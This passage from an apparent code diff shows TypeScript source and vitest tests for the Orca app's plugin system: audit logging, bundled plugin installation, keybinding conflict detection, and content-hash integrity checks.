this.rotatedFilePath = join(pluginsDataDir, 'audit.log.1')
this.maxBytes = options.maxBytes ?? 10 * 1024 * 1024
}
record(entry: PluginAuditEntry): Promise<void> {
const write = this.writeChain.then(async () => {
await mkdir(dirname(this.filePath), { recursive: true })
const line = `${JSON.stringify(entry)}\n`
if (this.fileBytes === null) {
this.fileBytes = await stat(this.filePath).then(
(file) => file.size,
() => 0
)
}
const lineBytes = Buffer.byteLength(line, 'utf8')
if (this.fileBytes > 0 && this.fileBytes + lineBytes > this.maxBytes) {
await rm(this.rotatedFilePath, { force: true })
await rename(this.filePath, this.rotatedFilePath).catch((error) => {
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
throw error
}
})
this.fileBytes = 0
}
await appendFile(this.filePath, line, 'utf8')
this.fileBytes += lineBytes
})
// Keep the serialization chain usable after a failed append while still
// exposing this write's failure to the mutation chokepoint.
this.writeChain = write.catch(() => undefined)
return write
}
async flush(): Promise<void> {
await this.writeChain
}
async readRecent(limit = 200): Promise<PluginAuditEntry[]> {
try {
const [rotated, current] = await Promise.all(
[this.rotatedFilePath, this.filePath].map((path) => readFile(path, 'utf8').catch(() => ''))
)
const text = rotated + current
const lines = text.split('\n').filter((line) => line.length > 0)
return lines.slice(-limit).flatMap((line) => {
try {
return [JSON.parse(line) as PluginAuditEntry]
} catch {
return []
}
})
} catch {
return []
}
}
}

View File

@ -0,0 +1,74 @@
import { describe, expect, it, vi } from 'vitest'
import type { PluginBundledBootstrapResult } from './plugin-bundled-bootstrap'
import { PluginBundledBootstrapCoordinator } from './plugin-bundled-bootstrap-coordinator'
const unchanged: PluginBundledBootstrapResult = {
installed: [],
unchanged: ['stablyai.orca-theme'],
errors: []
}
describe('PluginBundledBootstrapCoordinator', () => {
it('skips disabled requests and refreshes discovery only after publication', async () => {
let enabled = false
const bootstrap = vi
.fn()
.mockResolvedValueOnce(unchanged)
.mockResolvedValueOnce({
installed: ['stablyai.orca-theme'],
unchanged: [],
errors: []
})
const refreshPlugins = vi.fn().mockResolvedValue(undefined)
const coordinator = new PluginBundledBootstrapCoordinator({
root: 'resources',
userDataPath: 'user-data',
hostVersion: '1.4.0',
isEnabled: () => enabled,
refreshPlugins,
bootstrap
})
await expect(coordinator.request()).resolves.toBeNull()
enabled = true
await expect(coordinator.request()).resolves.toEqual(unchanged)
expect(refreshPlugins).not.toHaveBeenCalled()
await coordinator.request()
expect(refreshPlugins).toHaveBeenCalledOnce()
})
it('serializes overlapping startup and feature-toggle requests', async () => {
let active = 0
let maximumActive = 0
let releaseFirst: (() => void) | undefined
const firstGate = new Promise<void>((resolve) => {
releaseFirst = resolve
})
const bootstrap = vi.fn(async (): Promise<PluginBundledBootstrapResult> => {
active += 1
maximumActive = Math.max(maximumActive, active)
if (bootstrap.mock.calls.length === 1) {
await firstGate
}
active -= 1
return unchanged
})
const coordinator = new PluginBundledBootstrapCoordinator({
root: 'resources',
userDataPath: 'user-data',
hostVersion: '1.4.0',
isEnabled: () => true,
refreshPlugins: vi.fn().mockResolvedValue(undefined),
bootstrap
})
const first = coordinator.request()
const second = coordinator.request()
await vi.waitFor(() => expect(bootstrap).toHaveBeenCalledTimes(1))
releaseFirst?.()
await Promise.all([first, second])
expect(bootstrap).toHaveBeenCalledTimes(2)
expect(maximumActive).toBe(1)
})
})

View File

@ -0,0 +1,48 @@
import {
bootstrapBundledPlugins,
type PluginBundledBootstrapResult
} from './plugin-bundled-bootstrap'
type PluginBundledBootstrapRequest = Parameters<typeof bootstrapBundledPlugins>[0]
export class PluginBundledBootstrapCoordinator {
private readonly options: PluginBundledBootstrapRequest & {
isEnabled: () => boolean
refreshPlugins: () => Promise<void>
bootstrap?: typeof bootstrapBundledPlugins
}
private pending: Promise<void> = Promise.resolve()
constructor(options: PluginBundledBootstrapCoordinator['options']) {
this.options = options
}
request(): Promise<PluginBundledBootstrapResult | null> {
const run = this.pending.then(() => this.runOnce())
// Why: feature-toggle and startup requests can overlap; preserve their
// order even when one resource read fails.
this.pending = run.then(
() => undefined,
() => undefined
)
return run
}
private async runOnce(): Promise<PluginBundledBootstrapResult | null> {
if (!this.options.isEnabled()) {
return null
}
const result = await (this.options.bootstrap ?? bootstrapBundledPlugins)({
root: this.options.root,
userDataPath: this.options.userDataPath,
hostVersion: this.options.hostVersion,
...(this.options.blockedPluginReason
? { blockedPluginReason: this.options.blockedPluginReason }
: {})
})
if (result.installed.length > 0) {
await this.options.refreshPlugins()
}
return result
}
}

View File

@ -0,0 +1,134 @@
import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { hashPluginTree } from './plugin-content-hash'
import { readPluginLockfile } from './plugin-install'
import { bootstrapBundledPlugins, resolveBundledPluginRoot } from './plugin-bundled-bootstrap'
const roots: string[] = []
async function tempRoot(prefix: string): Promise<string> {
const root = await mkdtemp(join(tmpdir(), prefix))
roots.push(root)
return root
}
async function writeBundle(root: string, name = 'Skills'): Promise<{ path: string; hash: string }> {
const path = 'stablyai.orca-skills'
const pluginRoot = join(root, path)
await mkdir(pluginRoot, { recursive: true })
await writeFile(
join(pluginRoot, 'orca-plugin.json'),
JSON.stringify({
manifestVersion: 1,
id: 'orca-skills',
publisher: 'stablyai',
name,
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
capabilities: []
})
)
const hashed = await hashPluginTree(pluginRoot)
if (!hashed.ok) {
throw new Error(hashed.error)
}
return { path, hash: hashed.hash }
}
async function writeIndex(root: string, path: string, contentHash: string): Promise<void> {
await writeFile(
join(root, 'bundled-plugins.json'),
JSON.stringify({
version: 1,
plugins: [{ pluginKey: 'stablyai.orca-skills', path, contentHash }]
})
)
}
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('bundled plugin bootstrap', () => {
it('installs release-indexed content once and keeps unchanged startup work bounded', async () => {
const root = await tempRoot('orca-bundled-resources-')
const userDataPath = await tempRoot('orca-bundled-user-data-')
const bundle = await writeBundle(root)
await writeIndex(root, bundle.path, bundle.hash)
await expect(
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
await expect(
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
).resolves.toEqual({ installed: [], unchanged: ['stablyai.orca-skills'], errors: [] })
})
it('publishes an updated immutable bundle only when the indexed hash matches', async () => {
const root = await tempRoot('orca-bundled-resources-')
const userDataPath = await tempRoot('orca-bundled-user-data-')
const first = await writeBundle(root)
await writeIndex(root, first.path, first.hash)
await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
const second = await writeBundle(root, 'Updated Skills')
await writeIndex(root, second.path, second.hash)
const updated = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
expect(updated).toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
const lock = await readPluginLockfile(join(userDataPath, 'plugins'))
expect(lock.plugins['stablyai.orca-skills']?.contentHash).toBe(second.hash)
})
it('repairs a missing or modified bundled current version', async () => {
const root = await tempRoot('orca-bundled-resources-')
const userDataPath = await tempRoot('orca-bundled-user-data-')
const bundle = await writeBundle(root)
await writeIndex(root, bundle.path, bundle.hash)
await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
const versionDir = join(userDataPath, 'plugins', 'stablyai.orca-skills', bundle.hash)
await writeFile(join(versionDir, 'orca-plugin.json'), '{}')
await expect(
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
await rm(versionDir, { recursive: true, force: true })
await expect(
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
})
it('refuses mismatched release hashes before publication', async () => {
const root = await tempRoot('orca-bundled-resources-')
const userDataPath = await tempRoot('orca-bundled-user-data-')
const bundle = await writeBundle(root)
await writeIndex(root, bundle.path, 'f'.repeat(64))
const result = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
expect(result.installed).toEqual([])
expect(result.errors[0]?.error).toContain('does not match its release index')
expect((await readPluginLockfile(join(userDataPath, 'plugins'))).plugins).toEqual({})
})
it('resolves packaged and development resource roots without platform separators', () => {
expect(
resolveBundledPluginRoot({
isPackaged: true,
resourcesPath: join('app', 'resources'),
appPath: join('repo', 'app')
})
).toBe(join('app', 'resources', 'plugins', 'launch'))
expect(
resolveBundledPluginRoot({
isPackaged: false,
resourcesPath: join('app', 'resources'),
appPath: join('repo', 'app')
})
).toBe(join('repo', 'app', 'resources', 'plugins', 'launch'))
})
})

View File

@ -0,0 +1,154 @@
import { readFile, realpath, stat } from 'node:fs/promises'
import { isAbsolute, join, relative, sep } from 'node:path'
import { z } from 'zod'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import { pluginRelativeDirectorySchema } from '../../shared/plugins/plugin-manifest-fields'
import { isOfficialPluginIdentity } from '../../shared/plugins/plugin-marketplace'
import { getUserPluginsDir } from './plugin-discovery'
import { installBundledPlugin, readPluginLockfile } from './plugin-install'
import { inspectPluginInstallTree } from './plugin-install-staging'
import { readPluginCurrentPointer } from './plugin-current-pointer'
import { hashPluginTree } from './plugin-content-hash'
export const BUNDLED_PLUGIN_INDEX_FILENAME = 'bundled-plugins.json'
const BUNDLED_PLUGIN_INDEX_MAX_BYTES = 64 * 1024
const bundledPluginIndexSchema = z
.object({
version: z.literal(1),
plugins: z
.array(
z
.object({
pluginKey: z
.string()
.refine(isQualifiedPluginKey, 'invalid qualified plugin identity')
.refine(isOfficialPluginIdentity, 'bundled plugins must use an official identity'),
path: pluginRelativeDirectorySchema,
contentHash: z.string().regex(/^[0-9a-f]{64}$/)
})
.strict()
)
.max(32)
})
.strict()
.superRefine((index, ctx) => {
const keys = new Set<string>()
for (const [entryIndex, plugin] of index.plugins.entries()) {
if (keys.has(plugin.pluginKey)) {
ctx.addIssue({
code: 'custom',
path: ['plugins', entryIndex, 'pluginKey'],
message: 'duplicate bundled plugin identity'
})
}
keys.add(plugin.pluginKey)
}
})
export type PluginBundledBootstrapResult = {
installed: string[]
unchanged: string[]
errors: { pluginKey: string; error: string }[]
}
export function resolveBundledPluginRoot(options: {
isPackaged: boolean
resourcesPath: string
appPath: string
}): string {
return options.isPackaged
? join(options.resourcesPath, 'plugins', 'launch')
: join(options.appPath, 'resources', 'plugins', 'launch')
}
async function readBundledPluginIndex(
root: string
): Promise<z.infer<typeof bundledPluginIndexSchema>> {
const indexPath = join(root, BUNDLED_PLUGIN_INDEX_FILENAME)
const metadata = await stat(indexPath)
if (!metadata.isFile() || metadata.size > BUNDLED_PLUGIN_INDEX_MAX_BYTES) {
throw new Error(`bundled plugin index exceeds ${BUNDLED_PLUGIN_INDEX_MAX_BYTES} bytes`)
}
return bundledPluginIndexSchema.parse(JSON.parse(await readFile(indexPath, 'utf8')))
}
async function resolveBundlePath(root: string, path: string): Promise<string> {
const [resolvedRoot, resolvedPath] = await Promise.all([
realpath(root),
realpath(join(root, path))
])
const fromRoot = relative(resolvedRoot, resolvedPath)
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
throw new Error('bundled plugin path escapes the resource root')
}
return resolvedPath
}
async function bundledInstallIsIntact(
pluginsDir: string,
pluginKey: string,
contentHash: string
): Promise<boolean> {
const pluginDir = join(pluginsDir, pluginKey)
if ((await readPluginCurrentPointer(pluginDir).catch(() => null)) !== contentHash) {
return false
}
const hashed = await hashPluginTree(join(pluginDir, contentHash))
return hashed.ok && hashed.hash === contentHash
}
export async function bootstrapBundledPlugins(options: {
root: string
userDataPath: string
hostVersion: string
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginBundledBootstrapResult> {
const index = await readBundledPluginIndex(options.root)
const pluginsDir = getUserPluginsDir(options.userDataPath)
const lock = await readPluginLockfile(pluginsDir)
const result: PluginBundledBootstrapResult = { installed: [], unchanged: [], errors: [] }
for (const entry of index.plugins) {
const locked = lock.plugins[entry.pluginKey]
if (
locked?.source.kind === 'bundled' &&
locked.source.bundleId === entry.pluginKey &&
locked.contentHash === entry.contentHash &&
(await bundledInstallIsIntact(pluginsDir, entry.pluginKey, entry.contentHash))
) {
result.unchanged.push(entry.pluginKey)
continue
}
try {
const sourcePath = await resolveBundlePath(options.root, entry.path)
const inspection = await inspectPluginInstallTree({
rootDir: sourcePath,
hostVersion: options.hostVersion,
expectedPluginKey: entry.pluginKey
})
if (!inspection.ok) {
throw new Error(inspection.error)
}
if (inspection.contentHash !== entry.contentHash) {
throw new Error('bundled plugin content does not match its release index')
}
const installed = await installBundledPlugin({
pluginsDir,
sourcePath,
hostVersion: options.hostVersion,
expectedPluginKey: entry.pluginKey,
blockedPluginReason: options.blockedPluginReason
})
if (!installed.ok) {
throw new Error(installed.error)
}
result.installed.push(entry.pluginKey)
} catch (error) {
result.errors.push({
pluginKey: entry.pluginKey,
error: error instanceof Error ? error.message : String(error)
})
}
}
return result
}

View File

@ -0,0 +1,13 @@
import type { ValidDiscoveredPlugin } from './plugin-discovery'
export function assertPluginWorkerCommand(plugin: ValidDiscoveredPlugin, commandId: string): void {
const command = plugin.manifest.contributes.commands.find((entry) => entry.id === commandId)
if (!command) {
throw new Error(`plugin ${plugin.pluginKey} does not contribute command ${commandId}`)
}
// Declarative aliases are renderer-owned and must never cross the worker
// activation boundary, even if a compromised renderer invokes IPC directly.
if (command.action !== undefined) {
throw new Error(`plugin ${plugin.pluginKey} command ${commandId} is a built-in action alias`)
}
}

View File

@ -0,0 +1,180 @@
import { describe, expect, it } from 'vitest'
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
import type { ValidDiscoveredPlugin } from './plugin-discovery'
import { PluginCommandRegistry } from './plugin-command-registry'
function commandPlugin(
id: string,
contributes: {
commands: Record<string, unknown>[]
keybindings?: Record<string, unknown>[]
}
): ValidDiscoveredPlugin {
const manifest = pluginManifestSchema.parse({
manifestVersion: 1,
id,
publisher: 'orca-samples',
name: id,
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
...(contributes.commands.some((command) => command.action === undefined)
? { main: 'worker.js' }
: {}),
contributes,
capabilities: []
})
return {
pluginKey: `orca-samples.${id}`,
rootDir: `/plugins/${id}`,
manifest,
consentFingerprint: fingerprintPluginConsent(manifest, `content-${id}`),
consentContentHash: `content-${id}`,
contentHash: `content-${id}`,
isDev: false
}
}
describe('PluginCommandRegistry', () => {
it('retains pending previews and exposes only approved commands', () => {
const plugin = commandPlugin('aliases', {
commands: [{ id: 'tasks', title: 'Open Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'mod+alt+t' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile([plugin], () => false)
expect(registry.list()).toEqual([])
expect(registry.preview(plugin.pluginKey)).toEqual([
{
pluginKey: plugin.pluginKey,
id: 'tasks',
title: 'Open Tasks',
context: 'global',
handler: { type: 'built-in', action: 'view.tasks' },
keybindings: [{ key: 'Mod+Alt+T', when: 'global' }]
}
])
registry.reconcile([plugin], () => true)
expect(registry.list()).toHaveLength(1)
})
it('projects worker commands and inherited worktree keybinding context', () => {
const plugin = commandPlugin('worker', {
commands: [{ id: 'create', title: 'Create Task', context: 'worktree' }],
keybindings: [{ command: 'create', key: 'Mod+Shift+A' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile([plugin], () => true)
expect(registry.list()).toMatchObject([
{
context: 'worktree',
handler: { type: 'worker' },
keybindings: [{ key: 'Mod+Shift+A', when: 'worktree' }]
}
])
})
it('errors approved plugins whose keybindings overlap', () => {
const global = commandPlugin('global', {
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'global' }]
})
const worktree = commandPlugin('worktree', {
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'worktree' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile([global, worktree], () => true)
expect(registry.list()).toEqual([])
expect(registry.error(global.pluginKey)).toContain('conflicts')
expect(registry.error(worktree.pluginKey)).toContain('conflicts')
})
it('uses saved effective bindings to recover conflicting plugins', () => {
const first = commandPlugin('first', {
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
})
const second = commandPlugin('second', {
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile(
[first, second],
() => true,
{ 'plugin:orca-samples.first/tasks': ['Mod+Shift+T'] },
'linux'
)
expect(registry.list()).toHaveLength(2)
expect(registry.error(first.pluginKey)).toBeNull()
expect(registry.error(second.pluginKey)).toBeNull()
})
it('rejects conflicting saved bindings within one plugin', () => {
const plugin = commandPlugin('aliases', {
commands: [
{ id: 'tasks', title: 'Tasks', action: 'view.tasks' },
{ id: 'sidebar', title: 'Sidebar', action: 'sidebar.left.toggle' }
]
})
const registry = new PluginCommandRegistry()
registry.reconcile(
[plugin],
() => true,
{
'plugin:orca-samples.aliases/tasks': ['Mod+Alt+T'],
'plugin:orca-samples.aliases/sidebar': ['Mod+Alt+T']
},
'linux'
)
expect(registry.list()).toEqual([])
expect(registry.error(plugin.pluginKey)).toContain('conflicts')
})
it('detects cross-platform Mod and physical Ctrl conflicts', () => {
const portable = commandPlugin('portable', {
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
})
const physical = commandPlugin('physical', {
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Ctrl+Alt+T' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile([portable, physical], () => true, {}, 'linux')
expect(registry.list()).toEqual([])
expect(registry.error(portable.pluginKey)).toContain('conflicts')
expect(registry.error(physical.pluginKey)).toContain('conflicts')
})
it('allows the same worktree-only chord after one plugin is disabled', () => {
const first = commandPlugin('first', {
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
})
const second = commandPlugin('second', {
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
})
const registry = new PluginCommandRegistry()
registry.reconcile([first, second], (plugin) => plugin === first)
expect(registry.list()).toHaveLength(1)
expect(registry.error(first.pluginKey)).toBeNull()
})
})

View File

@ -0,0 +1,167 @@
import {
pluginCommandKeybindingActionId,
type PluginCommandAliasActionId
} from '../../shared/plugins/plugin-command-actions'
import { getKeybindingConflictIdentity, type KeybindingOverrides } from '../../shared/keybindings'
import type {
PluginCommandContribution,
PluginManifest
} from '../../shared/plugins/plugin-manifest'
import type { PluginKeybindingContribution } from '../../shared/plugins/plugin-content-pack-contributions'
import {
isInvalidDiscoveredPlugin,
type DiscoveredPlugin,
type ValidDiscoveredPlugin
} from './plugin-discovery'
export type PluginCommandKeybinding = {
key: string
when: 'global' | 'worktree'
}
export type PluginCommandRegistration = {
pluginKey: string
id: string
title: string
context: 'global' | 'worktree'
handler: { type: 'built-in'; action: PluginCommandAliasActionId } | { type: 'worker' }
keybindings: PluginCommandKeybinding[]
}
type CommandOwner = {
pluginKey: string
context: PluginCommandKeybinding['when']
key: string
}
export class PluginCommandRegistry {
private active: PluginCommandRegistration[] = []
private readonly previews = new Map<string, PluginCommandRegistration[]>()
private readonly errors = new Map<string, string>()
list(): readonly PluginCommandRegistration[] {
return this.active
}
preview(pluginKey: string): readonly PluginCommandRegistration[] {
return this.previews.get(pluginKey) ?? []
}
error(pluginKey: string): string | null {
return this.errors.get(pluginKey) ?? null
}
reconcile(
discovered: readonly DiscoveredPlugin[],
isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
overrides: KeybindingOverrides = {},
platform: NodeJS.Platform = process.platform
): void {
const candidates = discovered.filter(
(plugin): plugin is ValidDiscoveredPlugin =>
!isInvalidDiscoveredPlugin(plugin) && plugin.manifest.contributes.commands.length > 0
)
const registrations = candidates.map((plugin) => ({
pluginKey: plugin.pluginKey,
approved: isApproved(plugin),
commands: registrationsForManifest(plugin.pluginKey, plugin.manifest)
}))
this.previews.clear()
this.errors.clear()
for (const plugin of registrations) {
this.previews.set(plugin.pluginKey, plugin.commands)
}
const approved = registrations.filter((plugin) => plugin.approved)
const chordOwners = new Map<string, CommandOwner[]>()
for (const plugin of approved) {
for (const command of plugin.commands) {
for (const keybinding of effectiveCommandKeybindings(command, overrides)) {
const identity = getKeybindingConflictIdentity(keybinding.key, platform)
const owners = chordOwners.get(identity) ?? []
owners.push({
pluginKey: plugin.pluginKey,
context: keybinding.when,
key: keybinding.key
})
chordOwners.set(identity, owners)
}
}
}
const conflicted = new Set<string>()
for (const owners of chordOwners.values()) {
for (let index = 0; index < owners.length; index += 1) {
for (let compared = index + 1; compared < owners.length; compared += 1) {
const first = owners[index]!
const second = owners[compared]!
if (!contextsOverlap(first.context, second.context)) {
continue
}
conflicted.add(first.pluginKey)
conflicted.add(second.pluginKey)
this.errors.set(
first.pluginKey,
`plugin keybinding ${first.key} conflicts with another plugin`
)
this.errors.set(
second.pluginKey,
`plugin keybinding ${second.key} conflicts with another plugin`
)
}
}
}
this.active = approved
.filter((plugin) => !conflicted.has(plugin.pluginKey))
.flatMap((plugin) => plugin.commands)
}
}
function effectiveCommandKeybindings(
command: PluginCommandRegistration,
overrides: KeybindingOverrides
): PluginCommandKeybinding[] {
const override = overrides[pluginCommandKeybindingActionId(command.pluginKey, command.id)]
if (!Array.isArray(override)) {
return command.keybindings
}
return override.map((key) => ({ key, when: command.context }))
}
function registrationsForManifest(
pluginKey: string,
manifest: PluginManifest
): PluginCommandRegistration[] {
return manifest.contributes.commands.map((command) => ({
pluginKey,
id: command.id,
title: command.title,
context: command.context ?? 'global',
handler:
command.action === undefined
? { type: 'worker' as const }
: { type: 'built-in' as const, action: command.action as PluginCommandAliasActionId },
keybindings: keybindingsForCommand(command, manifest.contributes.keybindings)
}))
}
function keybindingsForCommand(
command: PluginCommandContribution,
keybindings: readonly PluginKeybindingContribution[]
): PluginCommandKeybinding[] {
return keybindings
.filter((keybinding) => keybinding.command === command.id)
.map((keybinding) => ({
key: keybinding.key,
when: keybinding.when ?? command.context ?? 'global'
}))
}
function contextsOverlap(
first: PluginCommandKeybinding['when'],
second: PluginCommandKeybinding['when']
): boolean {
return first === 'global' || second === 'global' || first === second
}

View File

@ -0,0 +1,129 @@
import { createHash } from 'node:crypto'
import { createReadStream } from 'node:fs'
import { lstat, readdir } from 'node:fs/promises'
import { join, relative } from 'node:path'
import { pluginPathSegmentError } from '../../shared/plugins/plugin-path-safety'
/**
* Deterministic hash of a plugin's file tree. The hash names the immutable
* install directory (`<userData>/plugins/<publisher>.<id>/<hash>/`), so two
* installs of identical content share a name and a mutated install is
* detectable. Hashes relative paths + file bytes in sorted order; symlinks
* are refused outright (installed trees must be self-contained).
*/
const MAX_PLUGIN_FILES = 2_000
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
type PluginFile = { path: string; size: number }
export type PluginTreeHashResult =
| { ok: true; hash: string; fileCount: number; totalBytes: number }
| { ok: false; error: string }
async function collectFiles(
root: string,
dir: string,
files: PluginFile[],
counters: { entries: number; bytes: number }
): Promise<string | null> {
const entries = await readdir(dir, { withFileTypes: true })
// Why: localeCompare ordering varies with host locale/ICU data; content
// addresses must sort identically on macOS, Linux, and Windows.
entries.sort((left, right) => (left.name < right.name ? -1 : left.name > right.name ? 1 : 0))
for (const entry of entries) {
if (dir === root && entry.name === '.git') {
continue
}
const segmentError = pluginPathSegmentError(entry.name)
if (segmentError) {
return `unsafe plugin path segment "${entry.name}": ${segmentError}`
}
const full = join(dir, entry.name)
const stat = await lstat(full)
counters.entries += 1
if (counters.entries > MAX_PLUGIN_FILES) {
return `plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`
}
if (stat.isSymbolicLink()) {
return `symlink not allowed in plugin content: ${relative(root, full)}`
}
if (stat.isDirectory()) {
const error = await collectFiles(root, full, files, counters)
if (error) {
return error
}
} else if (stat.isFile()) {
counters.bytes += stat.size
if (counters.bytes > MAX_PLUGIN_TOTAL_BYTES) {
return `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`
}
files.push({ path: full, size: stat.size })
} else {
return `unsupported plugin entry type: ${relative(root, full)}`
}
}
return null
}
async function hashFileBounded(
hash: ReturnType<typeof createHash>,
file: PluginFile
): Promise<number> {
let bytesRead = 0
for await (const chunk of createReadStream(file.path)) {
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
bytesRead += bytes.byteLength
if (bytesRead > file.size || bytesRead > MAX_PLUGIN_TOTAL_BYTES) {
throw new Error(`plugin file changed while hashing: ${file.path}`)
}
hash.update(bytes)
}
if (bytesRead !== file.size) {
throw new Error(`plugin file changed while hashing: ${file.path}`)
}
return bytesRead
}
export async function hashPluginTree(root: string): Promise<PluginTreeHashResult> {
const files: PluginFile[] = []
try {
const counters = { entries: 0, bytes: 0 }
const error = await collectFiles(root, root, files, counters)
if (error) {
return { ok: false, error }
}
const hash = createHash('sha256')
// Why: every record is length-framed so path/content delimiters inside a
// plugin file cannot make two different trees share one hash preimage.
hash.update('orca-plugin-tree-v1\0')
let totalBytes = 0
for (const file of files) {
totalBytes += file.size
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
return { ok: false, error: `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit` }
}
// Normalize separators so the same tree hashes identically on Windows.
const rel = relative(root, file.path).replaceAll('\\', '/')
hashLength(hash, Buffer.byteLength(rel, 'utf8'))
hash.update(rel, 'utf8')
hashLength(hash, file.size)
await hashFileBounded(hash, file)
}
// Hex (not base64) because the hash becomes a directory name.
return {
ok: true,
hash: hash.digest('hex'),
fileCount: files.length,
totalBytes
}
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
}
}
function hashLength(hash: ReturnType<typeof createHash>, length: number): void {
const framedLength = Buffer.allocUnsafe(8)
framedLength.writeBigUInt64BE(BigInt(length))
hash.update(framedLength)
}

View File

@ -0,0 +1,58 @@
import { hashPluginTree } from './plugin-content-hash'
export type HashAddressedPluginContent = {
rootDir: string
contentHash: string | null
}
export type PluginContentIntegrityResult = { ok: true } | { ok: false; error: string }
/** Dev trees are intentionally mutable; installed hash-addressed trees are not. */
export async function verifyHashAddressedPluginContent(
plugin: HashAddressedPluginContent
): Promise<PluginContentIntegrityResult> {
if (plugin.contentHash === null) {
return { ok: true }
}
const actual = await hashPluginTree(plugin.rootDir)
if (!actual.ok) {
return { ok: false, error: actual.error }
}
const matchesCurrentHash = actual.hash === plugin.contentHash
// Early P0 installs used a 128-bit SHA-256 prefix as the directory name.
// Honor that existing address while all new installs use the full digest.
const matchesLegacyPrefix =
plugin.contentHash.length === 32 && actual.hash.startsWith(plugin.contentHash)
if (!matchesCurrentHash && !matchesLegacyPrefix) {
return {
ok: false,
error: `content hash mismatch (expected ${plugin.contentHash}, got ${actual.hash})`
}
}
return { ok: true }
}
/** Deduplicates the first lazy verification for each discovered install. */
export class PluginContentVerifier {
private readonly verifications = new Map<string, Promise<PluginContentIntegrityResult>>()
clear(): void {
this.verifications.clear()
}
async verify(plugin: HashAddressedPluginContent & { pluginKey: string }): Promise<void> {
// Why: a refresh can replace one same-key install while its old hash is
// still being verified. Cache by immutable content identity, never key.
const identity = JSON.stringify([plugin.pluginKey, plugin.rootDir, plugin.contentHash])
let verification = this.verifications.get(identity)
if (!verification) {
verification = verifyHashAddressedPluginContent(plugin)
this.verifications.set(identity, verification)
}
const result = await verification
if (!result.ok) {
this.verifications.delete(identity)
throw new Error(`plugin ${plugin.pluginKey} failed integrity verification: ${result.error}`)
}
}
}

View File

@ -0,0 +1,108 @@
import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
import { PluginContentVerifier } from './plugin-content-integrity'
import { hashPluginTree } from './plugin-content-hash'
import { PluginContentPackRegistry } from './plugin-content-pack-registry'
import type { ValidDiscoveredPlugin } from './plugin-discovery'
const roots: string[] = []
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('PluginContentPackRegistry', () => {
it('activates all contributions from a plugin atomically', async () => {
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-registry-'))
roots.push(rootDir)
await mkdir(join(rootDir, 'locales'))
await Promise.all([
writeFile(
join(rootDir, 'locales', 'invalid.json'),
JSON.stringify({ settings: { title: 42 } })
),
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' }))
])
const manifest = pluginManifestSchema.parse({
manifestVersion: 1,
id: 'mixed-content',
publisher: 'orca-samples',
name: 'Mixed Content',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
